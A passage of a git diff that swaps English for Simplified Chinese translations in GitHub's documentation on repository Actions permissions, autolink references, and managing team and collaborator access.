"[About {% data variables.product.prodname_actions %}](/actions/getting-started-with-github-actions/about-github-actions)." +您可以对您的仓库启用 {% data variables.product.prodname_actions %}。 {% data reusables.actions.enabled-actions-description %} 你可以对存储库完全禁用 {% data variables.product.prodname_actions %}。 {% data reusables.actions.disabled-actions-description %} -You can enable {% data variables.product.prodname_actions %} for your repository. {% data reusables.actions.enabled-actions-description %} You can disable {% data variables.product.prodname_actions %} for your repository altogether. {% data reusables.actions.disabled-actions-description %} +或者,可以启用存储库中的 {% data variables.product.prodname_actions %},但限制工作流可以运行的操作{% ifversion actions-workflow-policy %}和可重用工作流{% endif %}。 -Alternatively, you can enable {% data variables.product.prodname_actions %} in your repository but limit the actions {% ifversion actions-workflow-policy %}and reusable workflows{% endif %} a workflow can run. +## 管理仓库的 {% data variables.product.prodname_actions %} 权限 -## Managing {% data variables.product.prodname_actions %} permissions for your repository - -You can disable {% data variables.product.prodname_actions %} for a repository, or set a policy that configures which actions{% ifversion actions-workflow-policy %} and reusable workflows{% endif %} can be used in the repository. +可以为存储库禁用 {% data variables.product.prodname_actions %},或者设置一个策略,用于配置可在存储库中使用哪些操作{% ifversion actions-workflow-policy %}和可重用工作流{% endif %}。 {% note %} -**Note:** You might not be able to manage these settings if your organization has an overriding policy or is managed by an enterprise that has overriding policy. For more information, see "[Disabling or limiting {% data variables.product.prodname_actions %} for your organization](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization)" or "[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-github-actions-policies-for-your-enterprise)." +注意:如果你的组织有覆盖策略或由具有覆盖策略的企业帐户管理,则可能无法管理这些设置。 有关详细信息,请参阅“[为组织禁用或限制 {% data variables.product.prodname_actions %}](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization)”或“[在企业中对 {% data variables.product.prodname_actions %} 强制实施策略](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-github-actions-policies-for-your-enterprise)”。 {% endnote %} -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.repositories.settings-sidebar-actions-general %} -1. Under "Actions permissions", select an option. +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} {% data reusables.repositories.settings-sidebar-actions-general %} +1. 在“Actions permissions(操作权限)”下,选择一个选项。 {% indented_data_reference reusables.actions.actions-use-policy-settings spaces=3 %} - {% ifversion actions-workflow-policy %} - ![Set actions policy for this repository](/assets/images/help/repository/actions-policy-with-workflows.png) - {%- else %} - ![Set actions policy for this repository](/assets/images/help/repository/actions-policy.png) - {%- endif %} -1. Click **Save**. + {% ifversion actions-workflow-policy %} ![为此存储库设置操作策略](/assets/images/help/repository/actions-policy-with-workflows.png) {%- else %} ![为此存储库设置操作策略](/assets/images/help/repository/actions-policy.png) {%- endif %} +1. 单击“ **保存**”。 {% data reusables.actions.allow-specific-actions-intro %} -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.repositories.settings-sidebar-actions-general %} -1. Under "Actions permissions", select {% data reusables.actions.policy-label-for-select-actions-workflows %} and add your required actions to the list. +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} {% data reusables.repositories.settings-sidebar-actions-general %} +1. 在“操作权限”下,选择 {% data reusables.actions.policy-label-for-select-actions-workflows %} 并将所需的操作添加到列表中。 - {% ifversion actions-workflow-policy%} - ![Add actions and reusable workflows to the allow list](/assets/images/help/repository/actions-policy-allow-list-with-workflows.png) - {%- elsif ghes %} - ![Add actions to the allow list](/assets/images/help/repository/actions-policy-allow-list.png) - {%- else %} - ![Add actions to the allow list](/assets/images/enterprise/github-ae/repository/actions-policy-allow-list.png) - {%- endif %} -1. Click **Save**. + {% ifversion actions-workflow-policy%} ![将操作和可重用工作流添加到允许列表](/assets/images/help/repository/actions-policy-allow-list-with-workflows.png) {%- elsif ghes %} ![将操作添加到允许列表](/assets/images/help/repository/actions-policy-allow-list.png) {%- else %} ![将操作添加到允许列表](/assets/images/enterprise/github-ae/repository/actions-policy-allow-list.png) {%- endif %} +1. 单击“ **保存**”。 {% ifversion fpt or ghec %} -## Controlling changes from forks to workflows in public repositories +## 在公共存储库中控制从分支到工作流的更改 {% data reusables.actions.workflow-run-approve-public-fork %} -You can configure this behavior for a repository using the procedure below. Modifying this setting overrides the configuration set at the organization or enterprise level. +您可以使用以下过程为存储库配置此行为。 修改此设置会覆盖组织或企业级别的配置集。 -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.repositories.settings-sidebar-actions-general %} -{% data reusables.actions.workflows-from-public-fork-setting %} +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} {% data reusables.repositories.settings-sidebar-actions-general %} {% data reusables.actions.workflows-from-public-fork-setting %} -{% data reusables.actions.workflow-run-approve-link %} -{% endif %} +{% data reusables.actions.workflow-run-approve-link %} {% endif %} -## Enabling workflows for forks of private repositories +## 为专用存储库的分支启用工作流 {% data reusables.actions.private-repository-forks-overview %} -If a policy is disabled for an {% ifversion ghec or ghae or ghes %}enterprise or{% endif %} organization, it cannot be enabled for a repository. +如果为 {% ifversion ghec or ghae or ghes %}企业或{% endif %} 组织禁用了某个策略,则无法为存储库启用该策略。 {% data reusables.actions.private-repository-forks-options %} -### Configuring the fork policy for a private repository +### 为专用存储库配置分支策略 -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.repositories.settings-sidebar-actions-general %} -{% data reusables.actions.private-repository-forks-configure %} +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} {% data reusables.repositories.settings-sidebar-actions-general %} {% data reusables.actions.private-repository-forks-configure %} -## Setting the permissions of the `GITHUB_TOKEN` for your repository +## 为存储库设置 `GITHUB_TOKEN` 的权限 {% data reusables.actions.workflow-permissions-intro %} -The default permissions can also be configured in the organization settings. If your repository belongs to an organization and a more restrictive default has been selected in the organization settings, the same option is selected in your repository settings and the permissive option is disabled. +默认权限也可以在组织设置中配置。 如果你的存储库属于某个组织并且在组织设置中选择了更严格的默认值,则会在存储库设置中自动选择相同的选项,并禁用许可选项。 {% data reusables.actions.workflow-permissions-modifying %} -### Configuring the default `GITHUB_TOKEN` permissions +### 配置默认 `GITHUB_TOKEN` 权限 -{% ifversion allow-actions-to-approve-pr-with-ent-repo %} -By default, when you create a new repository in your personal account, `GITHUB_TOKEN` only has read access for the `contents` scope. If you create a new repository in an organization, the setting is inherited from what is configured in the organization settings. +{% ifversion allow-actions-to-approve-pr-with-ent-repo %} 默认情况下,当你在个人帐户中创建新存储库时,`GITHUB_TOKEN` 仅对 `contents` 范围具有读取权限。 如果在组织中创建新存储库,则设置继承自组织设置中配置的内容。 {% endif %} -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.repositories.settings-sidebar-actions-general %} -1. Under "Workflow permissions", choose whether you want the `GITHUB_TOKEN` to have read and write access for all scopes, or just read access for the `contents` scope. +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} {% data reusables.repositories.settings-sidebar-actions-general %} +1. 在“工作流权限”下,选择是要让 `GITHUB_TOKEN` 对所有范围具有读写访问权限,还是仅对 `contents` 范围具有读取访问。 - {% ifversion allow-actions-to-approve-pr-with-ent-repo %} - ![Set GITHUB_TOKEN permissions for this repository](/assets/images/help/settings/actions-workflow-permissions-repository-with-pr-approval.png) - {% else %} - ![Set GITHUB_TOKEN permissions for this repository](/assets/images/help/settings/actions-workflow-permissions-repository.png) - {% endif %} + ![为此仓库设置 GITHUB_TOKENN 权限](/assets/images/help/settings/actions-workflow-permissions-repository{% ifversion allow-actions-to-approve-pr-with-ent-repo %}-with-pr-approval{% endif %}.png) -1. Click **Save** to apply the settings. +1. 单击“保存”以应用设置。 {% ifversion allow-actions-to-approve-pr-with-ent-repo %} -### Preventing {% data variables.product.prodname_actions %} from creating or approving pull requests +### 阻止 {% data variables.product.prodname_actions %} 创建或批准拉取请求 {% data reusables.actions.workflow-pr-approval-permissions-intro %} -By default, when you create a new repository in your personal account, workflows are not allowed to create or approve pull requests. If you create a new repository in an organization, the setting is inherited from what is configured in the organization settings. +默认情况下,在个人帐户中创建新存储库时,不允许工作流创建或批准拉取请求。 如果在组织中创建新存储库,则设置继承自组织设置中配置的内容。 -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.repositories.settings-sidebar-actions-general %} -1. Under "Workflow permissions", use the **Allow GitHub Actions to create and approve pull requests** setting to configure whether `GITHUB_TOKEN` can create and approve pull requests. +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} {% data reusables.repositories.settings-sidebar-actions-general %} +1. 在“工作流权限”下,使用“允许 GitHub Actions 创建和批准拉取请求”设置配置 `GITHUB_TOKEN` 是否可以创建和批准拉取请求。 - ![Set GITHUB_TOKEN permissions for this repository](/assets/images/help/settings/actions-workflow-permissions-repository-with-pr-approval.png) -1. Click **Save** to apply the settings. + ![为此仓库设置 GITHUB_TOKENN 权限](/assets/images/help/settings/actions-workflow-permissions-repository-with-pr-approval.png) +1. 单击“保存”以应用设置。 {% endif %} -{% ifversion ghes > 3.3 or ghae > 3.3 or ghec %} -## Allowing access to components in an internal repository +{% ifversion ghes > 3.3 or ghae-issue-4757 or ghec %} +## 允许访问内部存储库中的组件 -Members of your enterprise can use internal repositories to work on projects without sharing information publicly. For information, see "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-internal-repositories)." +企业成员可以使用内部存储库来处理项目,而无需公开共享信息。 有关信息,请参阅[关于存储库](/repositories/creating-and-managing-repositories/about-repositories#about-internal-repositories)。 -You can use the steps below to configure whether {% ifversion internal-actions%}actions and {% endif %}workflows in an internal repository can be accessed from outside the repository.{% ifversion internal-actions %} For more information, see "[Sharing actions and workflows with your enterprise](/actions/creating-actions/sharing-actions-and-workflows-with-your-enterprise)." Alternatively, you can use the REST API to set, or get details of, the level of access. For more information, see "[Get the level of access for workflows outside of the repository](/rest/reference/actions#get-the-level-of-access-for-workflows-outside-of-the-repository#get-the-level-of-access-for-workflows-outside-of-the-repository)" and "[Set the level of access for workflows outside of the repository](/rest/reference/actions#get-the-level-of-access-for-workflows-outside-of-the-repository#set-the-level-of-access-for-workflows-outside-of-the-repository)."{% endif %} +你可以使用以下步骤配置是否可以从存储库外部访问内部存储库中的{% ifversion internal-actions%}操作和{% endif %}工作流。{% ifversion internal-actions %}有关详细信息,请参阅“[与企业共享操作和工作流](/actions/creating-actions/sharing-actions-and-workflows-with-your-enterprise)”。 或者,您可以使用 REST API 来设置或获取访问级别的详细信息。 有关详细信息,请参阅“[获取存储库外部工作流的访问级别](/rest/reference/actions#get-the-level-of-access-for-workflows-outside-of-the-repository#get-the-level-of-access-for-workflows-outside-of-the-repository)”和“[设置存储库外部工作流的访问级别](/rest/reference/actions#get-the-level-of-access-for-workflows-outside-of-the-repository#set-the-level-of-access-for-workflows-outside-of-the-repository)”。{% endif %} -1. On {% data variables.product.prodname_dotcom %}, navigate to the main page of the internal repository. -1. Under your repository name, click {% octicon "gear" aria-label="The gear icon" %} **Settings**. +1. 在 {% data variables.product.prodname_dotcom %} 上,导航到内部仓库的主页面。 +1. 在存储库名称下,单击 {% octicon "gear" aria-label="The gear icon" %}“设置”。 {% data reusables.repositories.settings-sidebar-actions-general %} -1. Under **Access**, choose one of the access settings: +1. 在“访问”下,选择其中一个访问设置: - {% ifversion ghes > 3.4 or ghae > 3.4 or ghec %}![Set the access to Actions components](/assets/images/help/settings/actions-access-settings.png){% else %}![Set the access to Actions components](/assets/images/enterprise/3.4/actions-access-settings.png){% endif %} + {% ifversion ghes > 3.4 or ghae-issue-6090 or ghec %}![设置对操作组件的访问](/assets/images/help/settings/actions-access-settings.png){% else %}![设置对操作组件的访问](/assets/images/enterprise/3.4/actions-access-settings.png){% endif %} - * **Not accessible** - Workflows in other repositories cannot access this repository. - * **Accessible from repositories in the 'ORGANIZATION NAME' organization** - {% ifversion ghes > 3.4 or ghae > 3.4 or ghec %}Workflows in other repositories that are part of the 'ORGANIZATION NAME' organization can access the actions and workflows in this repository. Access is allowed only from private or internal repositories.{% else %}Workflows in other repositories can use workflows in this repository if they are part of the same organization and their visibility is private or internal.{% endif %} - * **Accessible from repositories in the 'ENTERPRISE NAME' enterprise** - {% ifversion ghes > 3.4 or ghae > 3.4 or ghec %}Workflows in other repositories that are part of the 'ENTERPRISE NAME' enterprise can access the actions and workflows in this repository. Access is allowed only from private or internal repositories.{% else %}Workflows in other repositories can use workflows in this repository if they are part of the same enterprise and their visibility is private or internal.{% endif %} -1. Click **Save** to apply the settings. + * 无法访问- 其他存储库中的工作流无法访问此存储库。 + * 可从 'ORGANIZATION NAME' 组织中的存储库访问 - {% ifversion ghes > 3.4 or ghae-issue-6090 or ghec %}属于 'ORGANIZATION NAME' 组织的其他存储库中的工作流可以访问此存储库中的操作和工作流。 仅允许从私有或内部存储库进行访问。{% else %}如果其他存储库中的工作流程属于同一组织,并且其可见性是私有或内部,则可以使用此存储库中的工作流程。{% endif %} + * 可从 'ENTERPRISE NAME' 企业中的存储库访问 - {% ifversion ghes > 3.4 or ghae-issue-6090 or ghec %}属于 'ENTERPRISE NAME' 企业的其他存储库中的工作流可以访问此存储库中的操作和工作流。 仅允许从私有或内部存储库进行访问。{% else %}如果其他存储库中的工作流程属于同一企业,并且其可见性是私有或内部,则可以使用此存储库中的工作流程。{% endif %} +1. 单击“保存”以应用设置。 {% endif %} -## Configuring the retention period for {% data variables.product.prodname_actions %} artifacts and logs in your repository +## 为仓库中构件和日志的 {% data variables.product.prodname_actions %} 配置保留期 -You can configure the retention period for {% data variables.product.prodname_actions %} artifacts and logs in your repository. +您可以为仓库中的 {% data variables.product.prodname_actions %} 构件和日志配置保留期。 {% data reusables.actions.about-artifact-log-retention %} -You can also define a custom retention period for a specific artifact created by a workflow. For more information, see "[Setting the retention period for an artifact](/actions/managing-workflow-runs/removing-workflow-artifacts#setting-the-retention-period-for-an-artifact)." +您还可以为工作流程创建的特定构件自定义保留期。 有关详细信息,请参阅“[设置项目的保持期](/actions/managing-workflow-runs/removing-workflow-artifacts#setting-the-retention-period-for-an-artifact)”。 -## Setting the retention period for a repository +## 设置仓库的保留期 -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.repositories.settings-sidebar-actions-general %} -{% data reusables.actions.change-retention-period-for-artifacts-logs %} +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} {% data reusables.repositories.settings-sidebar-actions-general %} {% data reusables.actions.change-retention-period-for-artifacts-logs %} {% ifversion actions-cache-policy-apis %} -## Configuring cache storage for a repository +## 为存储库配置缓存存储 -{% data reusables.actions.cache-default-size %} However, these default sizes might be different if an enterprise owner has changed them. {% data reusables.actions.cache-eviction-process %} +{% data reusables.actions.cache-default-size %}但是,如果企业所有者更改了这些默认大小,则这些默认大小可能有所不同。 {% data reusables.actions.cache-eviction-process %} -You can set a total cache storage size for your repository up to the maximum size allowed by the {% ifversion actions-cache-admin-ui %}organization or{% endif %} enterprise policy setting{% ifversion actions-cache-admin-ui %}s{% endif %}. +可以将存储库的总缓存存储大小设置为企业策略设置允许的最大大小。 -{% ifversion actions-cache-admin-ui %} +{% data variables.product.prodname_actions %} 缓存存储的策略设置目前只能使用 REST API 进行修改: -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.repositories.settings-sidebar-actions-general %} -{% data reusables.actions.change-cache-size-limit %} - -{% else %} - -The repository settings for {% data variables.product.prodname_actions %} cache storage can currently only be modified using the REST API: - -* To view the current cache storage limit for a repository, see "[Get GitHub Actions cache usage policy for a repository](/rest/actions/cache#get-github-actions-cache-usage-policy-for-a-repository)." -* To change the cache storage limit for a repository, see "[Set GitHub Actions cache usage policy for a repository](/rest/actions/cache#set-github-actions-cache-usage-policy-for-a-repository)." +* 若要查看存储库的当前缓存存储限制,请参阅“[获取存储库的 GitHub Actions 缓存使用策略](/rest/actions/cache#get-github-actions-cache-usage-policy-for-a-repository)”。 +* 若要更改存储库的缓存存储限制,请参阅“[设置存储库的 GitHub Actions 缓存使用策略](/rest/actions/cache#set-github-actions-cache-usage-policy-for-a-repository)”。 {% data reusables.actions.cache-no-org-policy %} {% endif %} - -{% endif %} diff --git a/translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/configuring-autolinks-to-reference-external-resources.md b/translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/configuring-autolinks-to-reference-external-resources.md index 6018fec5c6..6a09413d15 100644 --- a/translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/configuring-autolinks-to-reference-external-resources.md +++ b/translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/configuring-autolinks-to-reference-external-resources.md @@ -1,6 +1,6 @@ --- -title: Configuring autolinks to reference external resources -intro: You can add autolinks to external resources like JIRA issues and Zendesk tickets to help streamline your workflow. +title: 配置自动链接以引用外部资源 +intro: 您可以将自动链接添加到 JIRA 议题和 Zendesk 事件单等外部资源,以帮助简化工作流程。 product: '{% data reusables.gated-features.autolinks %}' redirect_from: - /articles/configuring-autolinks-to-reference-external-resources @@ -14,41 +14,38 @@ versions: topics: - Repositories shortTitle: Configure autolinks +ms.openlocfilehash: ae6e10f55a880a4fa389149ad137300ef3a81514 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '146748587' --- +## 关于自动链接 -## About autolinks +具有仓库管理员权限的任何人均可配置自动链接引用,将议题、拉取请求提交消息、和发行说明链接到外部第三方服务。 -Anyone with admin permissions to a repository can configure autolink references to link issues, pull requests, commit messages, and release descriptions to external third-party services. +{% ifversion autolink-reference-alphanumeric %} 自动链接引用现在可接受字母数字字符。 最初引入时,自定义自动链接仅限于使用数字标识符的外部资源。 自定义自动链接现在使用字母数字标识符。 仅识别数字标识符的旧版自动链接引用已被弃用,并以“旧版”标签显示。 -{% ifversion autolink-reference-alphanumeric %} -Autolink references can now accept alphanumeric characters. When originally introduced, custom autolinks were limited to external resources that used numeric identifiers. Custom autolinks now work with alphanumeric and numeric identifiers. - -You define custom autolinks by specifying a reference prefix and a target URL. -- Reference prefixes cannot have overlapping names. For example, a repository cannot have two custom autolinks with prefixes such as `TICKET` and `TICK`, since both prefixes would match the string `TICKET123a`. -- Target URLs include a `` variable which represents the reference identifier of the linked resource. +可通过指定引用前缀和目标 URL 来定义自定义自动链接。 +- 引用前缀不能具有重叠的名称。 例如,存储库不能有两个带有前缀的自定义自动链接,例如 `TICKET` 和 `TICK`,因为这两个前缀都将匹配字符串 `TICKET123a`。 +- 目标 URL 包含一个支持以下字符的 `` 变量:`a-z`(不区分大小写)、`0-9` 和 `-`。 {% endif %} -## Configuring autolinks to reference external resources +## 配置自动链接以引用外部资源 -This procedure demonstrates how to configure autolinks to reference external resources. For example, if you use Zendesk to track user-reported tickets, you can reference a ticket number in the pull request you opened to fix the issue. +此过程演示如何配置自动链接以引用外部资源。 例如,如果使用 Zendesk 跟踪用户报告的工单,可以引用所打开拉取请求中的工单编号来解决问题。 -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} -1. In the "Integrations" section of the sidebar, click **{% octicon "cross-reference" aria-label="The cross-reference icon" %} Autolink references**. +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} {% ifversion fpt or ghec or ghes > 3.4 or ghae-issue-5658 %} +1. 在边栏的“集成”部分中,单击“{% octicon "cross-reference" aria-label="The cross-reference icon" %} 自动链接引用”。 {% else %} -1. In the left sidebar, click **Autolink references**. -![Autolink references tab in the left sidebar.](/assets/images/help/repository/autolink-references-tab.png) -{% endif %} -1. Click **Add autolink reference**. -![Button to fill out autolink reference information.](/assets/images/help/repository/add-autolink-reference-details.png) -{% ifversion autolink-reference-alphanumeric %} -1. Select the format of the reference identifier used in the external resource, either alphanumeric or numeric. -![Autolink format setting, alphanumeric or numeric.](/assets/images/help/repository/autolink-format-setting.png) -{% endif %} -1. Under "Reference prefix", type a short, meaningful prefix you want collaborators to use to generate autolinks for the external resource. -{% ifversion autolink-reference-alphanumeric %}![Field to type abbreviation for external system.](/assets/images/help/repository/add-reference-prefix-field-alphanumeric.png){% else %}![Field to type abbreviation for external system.](/assets/images/help/repository/add-reference-prefix-field.png){% endif %} -1. Under "Target URL", type the link to the external system you want to link to. Use the `` variable as a placeholder for the reference identifier. -{% ifversion autolink-reference-alphanumeric %}![Field to type URL to external system.](/assets/images/help/repository/add-target-url-field-alphanumeric.png){% else %}![Field to type URL to external system.](/assets/images/help/repository/add-target-url-field.png){% endif %} -1. Click **Add autolink reference**. -{% ifversion autolink-reference-alphanumeric %}{% else %}![Button to add autolink reference.](/assets/images/help/repository/add-autolink-reference.png){% endif %} +1. 在左侧边栏中,单击“自动链接引用”。 +![左侧边栏中的“自动链接引用”选项卡](/assets/images/help/repository/autolink-references-tab.png) {% endif %} +1. 单击“添加自动链接引用”。 +![用于填写自动链接引用信息的按钮](/assets/images/help/repository/add-autolink-reference-details.png) +5. 在“Reference prefix(引用前缀)”下,输入您希望协作者用来为外部资源生成自动链接的、简短有意义的前缀。 +{% ifversion autolink-reference-alphanumeric %}![用于键入外部系统缩写的字段](/assets/images/help/repository/add-reference-prefix-field-alphanumeric.png){% else %}![用于键入外部系统缩写的字段](/assets/images/help/repository/add-reference-prefix-field.png){% endif %} +6. 在“Target URL(目标 URL)”中,输入您想要链接到的外部系统的链接。 请确保将 `` 保留为引用号的变量。 +{% ifversion autolink-reference-alphanumeric %}![用于键入外部系统 URL 的字段](/assets/images/help/repository/add-target-url-field-alphanumeric.png){% else %}![用于键入外部系统 URL 的字段](/assets/images/help/repository/add-target-url-field.png){% endif %} +7. 单击“添加自动链接引用”。 +{% ifversion autolink-reference-alphanumeric %}{% else %}![用于添加自动链接引用的按钮](/assets/images/help/repository/add-autolink-reference.png){% endif %} diff --git a/translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-teams-and-people-with-access-to-your-repository.md b/translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-teams-and-people-with-access-to-your-repository.md index ba8f824816..6035d00376 100644 --- a/translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-teams-and-people-with-access-to-your-repository.md +++ b/translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-teams-and-people-with-access-to-your-repository.md @@ -1,6 +1,6 @@ --- -title: Managing teams and people with access to your repository -intro: You can see everyone who has access to your repository and adjust permissions. +title: 管理有权访问存储库的团队和人员 +intro: 您可以查看有权访问仓库的每个人并调整权限。 permissions: People with admin access to a repository can manage teams and people with access to a repository. redirect_from: - /github/administering-a-repository/managing-people-and-teams-with-access-to-your-repository @@ -14,72 +14,52 @@ versions: topics: - Repositories shortTitle: Teams & people +ms.openlocfilehash: e378332dda56fad39b18fd10da4ee9bf799a9fe3 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145129309' --- +## 关于存储库的访问管理 -## About access management for repositories +对于您在 {% data variables.product.prodname_dotcom %} 上管理的每个仓库,您可以查看有权访问仓库的每个团队或人员的概览。 在概述中,您还可以邀请新的团队或人员,更改存储库的每个团队或人员的角色,或删除对存储库的访问权限。 -For each repository that you administer on {% data variables.product.prodname_dotcom %}, you can see an overview of every team or person with access to the repository. From the overview, you can also invite new teams or people, change each team or person's role for the repository, or remove access to the repository. - -This overview can help you audit access to your repository, onboard or off-board contractors or employees, and effectively respond to security incidents. +此概览可帮助您审核对仓库、内部或外部承包商或员工的访问权限,并有效响应安全事件。 {% data reusables.organizations.mixed-roles-warning %} -For more information about repository roles, see "[Permission levels for a personal account repository](/github/setting-up-and-managing-your-github-user-account/permission-levels-for-a-user-account-repository)" and "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)." +有关存储库角色的详细信息,请参阅“[个人帐户存储库的权限级别](/github/setting-up-and-managing-your-github-user-account/permission-levels-for-a-user-account-repository)”和“[组织的存储库角色](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)”。 -![Access management overview](/assets/images/help/repository/manage-access-overview.png) +![访问权限管理概览](/assets/images/help/repository/manage-access-overview.png) -## Filtering the list of teams and people +## 过滤团队和人员列表 -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} -{% data reusables.repositories.click-collaborators-teams %} -{% else %} -{% data reusables.repositories.navigate-to-manage-access %} -{% endif %} -1. Under "Manage access", in the search field, start typing the name of the team or person you'd like to find. Optionally, use the dropdown menus to filter your search. - ![Search field for filtering list of teams or people with access](/assets/images/help/repository/manage-access-filter.png) +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} {% ifversion fpt or ghec or ghes > 3.4 or ghae-issue-5658 %} {% data reusables.repositories.click-collaborators-teams %} {% else %} {% data reusables.repositories.navigate-to-manage-access %} {% endif %} +1. 在“Manage access(管理访问权限)”下的搜索字段中,开始输入您要查找的团队或人员的名称。 (可选)使用下拉菜单筛选搜索。 + ![用于筛选具有访问权限的团队或人员列表的搜索字段](/assets/images/help/repository/manage-access-filter.png) -## Changing permissions for a team or person +## 更改团队或人员的权限 -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} -{% data reusables.repositories.click-collaborators-teams %} -{% else %} -{% data reusables.repositories.navigate-to-manage-access %} -{% endif %} -4. Under "Manage access", find the team or person whose role you'd like to change, then select the Role drop-down and click a new role. - ![Using the "Role" drop-down to select new permissions for a team or person](/assets/images/help/repository/manage-access-role-drop-down.png) +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} {% ifversion fpt or ghec or ghes > 3.4 or ghae-issue-5658 %} {% data reusables.repositories.click-collaborators-teams %} {% else %} {% data reusables.repositories.navigate-to-manage-access %} {% endif %} +4. 在“Manage access(管理访问)”下,找到您要更改其角色的团队或人员,然后选择 Role(角色)下拉菜单并点击新角色。 + ![使用“角色”下拉列表为团队或人员选择新权限](/assets/images/help/repository/manage-access-role-drop-down.png) -## Inviting a team or person +## 邀请团队或人员 -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} -{% data reusables.repositories.click-collaborators-teams %} -{% else %} -{% data reusables.repositories.navigate-to-manage-access %} -{% endif %} -{% data reusables.organizations.invite-teams-or-people %} -5. In the search field, start typing the name of the team or person to invite, then click a name in the list of matches. - ![Search field for typing the name of a team or person to invite to the repository](/assets/images/help/repository/manage-access-invite-search-field.png) -6. Under "Choose a role", select the repository role to grant to the team or person, then click **Add NAME to REPOSITORY**. - ![Selecting permissions for the team or person](/assets/images/help/repository/manage-access-invite-choose-role-add.png) +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} {% ifversion fpt or ghec or ghes > 3.4 or ghae-issue-5658 %} {% data reusables.repositories.click-collaborators-teams %} {% else %} {% data reusables.repositories.navigate-to-manage-access %} {% endif %} {% data reusables.organizations.invite-teams-or-people %} +5. 在搜索字段中,开始输入要邀请的团队或人员的名称,然后单击匹配列表中的名称。 + ![用于输入要邀请加入存储库的团队或人员名称的搜索字段](/assets/images/help/repository/manage-access-invite-search-field.png) +6. 在“选择角色”下,选择要授予团队或人员的存储库角色,然后单击“将名称添加到存储库”。 + ![为团队或人员选择权限](/assets/images/help/repository/manage-access-invite-choose-role-add.png) -## Removing access for a team or person +## 删除团队或人员的访问权限 -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} -{% data reusables.repositories.click-collaborators-teams %} -{% else %} -{% data reusables.repositories.navigate-to-manage-access %} -{% endif %} -4. Under "Manage access", find the team or person whose access you'd like to remove, then click {% octicon "trash" aria-label="The trash icon" %}. - ![trash icon for removing access](/assets/images/help/repository/manage-access-remove.png) +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} {% ifversion fpt or ghec or ghes > 3.4 or ghae-issue-5658 %} {% data reusables.repositories.click-collaborators-teams %} {% else %} {% data reusables.repositories.navigate-to-manage-access %} {% endif %} +4. 在“管理访问权限”下,找到要删除其访问权限的团队或人员,然后单击 {% octicon "trash" aria-label="The trash icon" %}。 + ![用于删除访问权限的回收站图标](/assets/images/help/repository/manage-access-remove.png) -## Further reading +## 延伸阅读 -- "[Setting repository visibility](/github/administering-a-repository/setting-repository-visibility)" -- "[Setting base permissions for an organization](/organizations/managing-access-to-your-organizations-repositories/setting-base-permissions-for-an-organization)" +- [设置存储库可见性](/github/administering-a-repository/setting-repository-visibility) +- [为组织设置基本权限](/organizations/managing-access-to-your-organizations-repositories/setting-base-permissions-for-an-organization) diff --git 